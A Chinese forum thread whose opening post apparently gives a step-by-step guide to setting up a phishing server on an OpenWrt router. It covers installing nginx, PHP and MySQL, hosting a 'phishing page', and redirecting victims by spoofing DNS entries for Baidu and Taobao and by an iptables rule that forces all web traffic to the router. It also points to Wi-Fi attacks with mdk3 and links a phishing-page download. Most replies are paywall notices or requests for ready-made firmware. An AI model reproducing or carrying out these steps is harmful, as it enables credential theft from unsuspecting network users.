476867546 发表于 2016-3-4 20:06

Openwrt 无线路由器搭建php服务器实现钓鱼.

本帖最后由 476867546 于 2016-3-10 17:33 编辑

            Openwrt 无线路由器搭建php服务器实现钓鱼.
    本人也是小白,都是在网上找的资料.已成功搭建钓鱼环境,现分享给大家.教程只演示不带USB口的.#无线路由器刷Openwrt要求16M闪存.带USB接口或不带都行(带的网址放U盘里.不带的放路由器目录里)

准备工作:
winSCP连接路由在/www下建立一个sda/www文件夹

1.安装nginx+php+mysql

进路由里修改openwrt安装源如下:
dest root /
dest ram /tmp
lists_dir ext /var/opkg-lists
option overlay_root /overlay
src/gz chaos_calmer_base http://downloads.openwrt.org/cha ... neric/packages/base
src/gz chaos_calmer_packages http://downloads.openwrt.org/cha ... c/packages/packages
src/gz chaos_calmer_routing http://downloads.openwrt.org/cha ... ic/packages/routing
src/gz chaos_calmer_telephony http://downloads.openwrt.org/cha ... /packages/telephony
src/gz chaos_calmer_management http://downloads.openwrt.org/cha ... packages/management
打开putty终端更新并安装软件.
opkg update
opkg install php5 php5-mod-gd php5-mod-session php5-mod-pdo php5-mod-pdo-mysql php5-mod-mysql php5-mod-mcrypt php5-mod-mbstring php5-fastcgi php5-cgi php5-mod-xml php5-mod-ctype php5-mod-curl php5-mod-exif php5-mod-ftp php5-mod-iconv php5-mod-json php5-mod-sockets php5-mod-sqlite3 php5-mod-tokenizer php5-mod-zip

opkg install mysql-server

opkg install nginx spawn-fcgi zoneinfo-core zoneinfo-asia

opkg install shadow-groupadd shadow-useradd

groupadd www

useradd -g www www

chown -R www:www /www/sda/www重启!
winSCP连接路由修改/etc/my.cnf(改掉这两段)
datadir                = /www/sda/data/mysql/
tmpdir                = /www/sda/data/tmp/


创建数据库文件夹
mkdir -p /www/sda/data /www/sda/data/mysql /www/sda/data/tmp

创建默认的数据库
/usr/bin/mysql_install_db --force

启动mysql
/etc/init.d/mysqld start
输入如下命令创建mysql的密码
/usr/bin/mysqladmin -u root password 123456
登陆数据库
mysql -u root -p

修改/etc/nginx/nginx.conf
user www www;
worker_processes1;
pid      /var/run/nginx.pid;
error_log/var/log/nginx_error.log;
events {
      use epoll;
      worker_connections1024;
}


http {
      include mime.types;
      default_type application/octet-stream;
      sendfile on;
      tcp_nopush on;
      #keepalive_timeout 0;
      keepalive_timeout 65;
      gzip on;
      access_log   off;
   
      include       vhost.conf;
}

修改/etc/nginx/fastcgi_params
if ($request_filename ~* (.*)\.php) {
    set $php_url $1;
}
if (!-e $php_url.php) {
    return 403;
}


fastcgi_paramQUERY_STRING       $query_string;
fastcgi_paramREQUEST_METHOD   $request_method;
fastcgi_paramCONTENT_TYPE       $content_type;
fastcgi_paramCONTENT_LENGTH   $content_length;


fastcgi_paramSCRIPT_NAME      $fastcgi_script_name;
fastcgi_paramREQUEST_URI      $request_uri;
fastcgi_paramDOCUMENT_URI       $document_uri;
fastcgi_paramDOCUMENT_ROOT      $document_root;
fastcgi_paramSERVER_PROTOCOL    $server_protocol;


fastcgi_paramGATEWAY_INTERFACECGI/1.1;
fastcgi_paramSERVER_SOFTWARE    nginx/$nginx_version;


fastcgi_paramREMOTE_ADDR      $remote_addr;
fastcgi_paramREMOTE_PORT      $remote_port;
fastcgi_paramSERVER_ADDR      $server_addr;
fastcgi_paramSERVER_PORT      $server_port;
fastcgi_paramSERVER_NAME      $server_name;


# PHP only, required if PHP was built with --enable-force-cgi-redirect
fastcgi_paramREDIRECT_STATUS    200;

添加文件/etc/nginx/vhost.conf
server {
      listen       8000;
      server_namelocalhost;
      root/www/sda/www;
      indexindex.html index.htm index.php default.php;
      error_page   500 502 503 504/50x.html;


      location = /50x.html {
      root html;
      }


      location ~* ^.+\.php(\/.*)*$ {
      fastcgi_pass   127.0.0.1:9000;
      fastcgi_indexindex.php;
      fastcgi_paramSCRIPT_FILENAME$document_root$fastcgi_script_name;
      include      fastcgi_params;
    }
}

修改/etc/php.ini
short_open_tag = on
#doc_root = "/www/www"


extension=ctype.so
extension=curl.so
extension=gd.so
extension=mbstring.so
extension=mcrypt.so
extension=mysql.so
extension=pdo.so
extension=pdo_mysql.so
extension=session.so
extension=sockets.so
extension=tokenizer.so
extension=xml.so



date.timezone = Asia/Shanghai



mysql.default_socket = /var/run/mysqld.sock

启动spawn-fcgi(开机自动运行,将命令添加到/etc/rc.local)
/usr/bin/spawn-fcgi -a 127.0.0.1 -p 9000 -C 2 -f /usr/bin/php-cgi

启动nginx
/etc/init.d/nginx enable
/etc/init.d/nginx start

php服务器搭建完成重启.
把钓鱼网页放入/www/sda/www目录里.在浏览器输入192.168.1.1:8000打开页面.(能打开就成功一半了~_~ )


2.网页跳转(有2种方法)
1DNS跳转
2防火墙重定向
1 dns跳转
修改etc/dnsmasq.conf(需要输入对应网址才跳转)
address=/www.baidu.com/192.168.1.1
address=/www.taobao.com/192.168.1.1
2 防火墙重定向(需要联网才跳转)
修改防火墙自定义规则:
iptables -t nat -A PREROUTING -p tcp -m multiport --dport 80,8080 -j DNAT --to 192.168.1.1:80
最后修改/etc/nginx/vhost.conf 端口为80




重启后打开baidu网页即跳转




使用samba映射www文件夹查看MM

有usb口就插个网卡进行mdk3.....









补充内容 (2017-6-25 20:19):
钓鱼页面下载 http://pan.baidu.com/s/1o8BK7Ui

to89 发表于 2016-3-7 00:03

本帖最后由 to89 于 2016-3-18 21:40 编辑

:victory:
      本人也是小白,都是在网上找的资料.已成功搭建钓鱼环境,现分享给大家.教程只演示不带USB口的.#无线路由器刷Openwrt要求16M闪存.带USB接口或不带都行(带的网址放U盘里.不带的放路由器目录里)

大神,弄半天都搞不定啊。:L
有修改好的OpenWRT固件吗?集成固件有更好!!
固件和钓鱼页面,能否给个百度下载?

PS:
本小白在16m+128m的newifi等的7620A路由玩了一轮,
装上PandoraBox著名的20150608固件后,
不用更改更新源,直接opkg update......全部装上了更新和插件。

其他设置文件夹全部搞对后,到了修改文档就不会了,:L
有大神用PandoraBox-20150608做个集合包有得玩了。




hhwap2009 发表于 2016-3-5 06:50

本主题需向作者支付 120 元金币 才能浏览
本主题购买截止日期为 2017-4-3 20:06,到期后将免费
:lol:lol

a58907 发表于 2016-3-5 08:48

本主题需向作者支付 120 元金币 才能浏览# ]8 C9 m- r* b" r+ qP( J/ k
本主题购买截止日期为 2017-4-3 20:06,到期后将免费

a58907 发表于 2016-3-5 08:48

本主题需向作者支付 120 元金币 才能浏览# ]8 C9 m- r* b" r+ qP( J/ k
本主题购买截止日期为 2017-4-3 20:06,到期后将免费

a58907 发表于 2016-3-5 08:48

本主题需向作者支付 120 元金币 才能浏览# ]8 C9 m- r* b" r+ qP( J/ k
本主题购买截止日期为 2017-4-3 20:06,到期后将免费

huange 发表于 2016-3-5 09:45

等到期免费看。

xiaofeisky 发表于 2016-3-5 23:20

等到期免费看。
:lol:lol

a568229112 发表于 2016-3-5 23:26

什么情况有些看不懂哈:(

菲基塔 发表于 2016-3-6 00:11

看看,是怎么样的

476867546 发表于 2016-3-6 02:00

a568229112 发表于 2016-3-5 23:26
什么情况有些看不懂哈

那里看不懂?

xxywoer 发表于 2016-3-6 14:07

这差币?

wrg710371226 发表于 2016-3-6 14:52

东西里?
页: [1] 2 3 4 5 6 7
查看完整版本: Openwrt 无线路由器搭建php服务器实现钓鱼.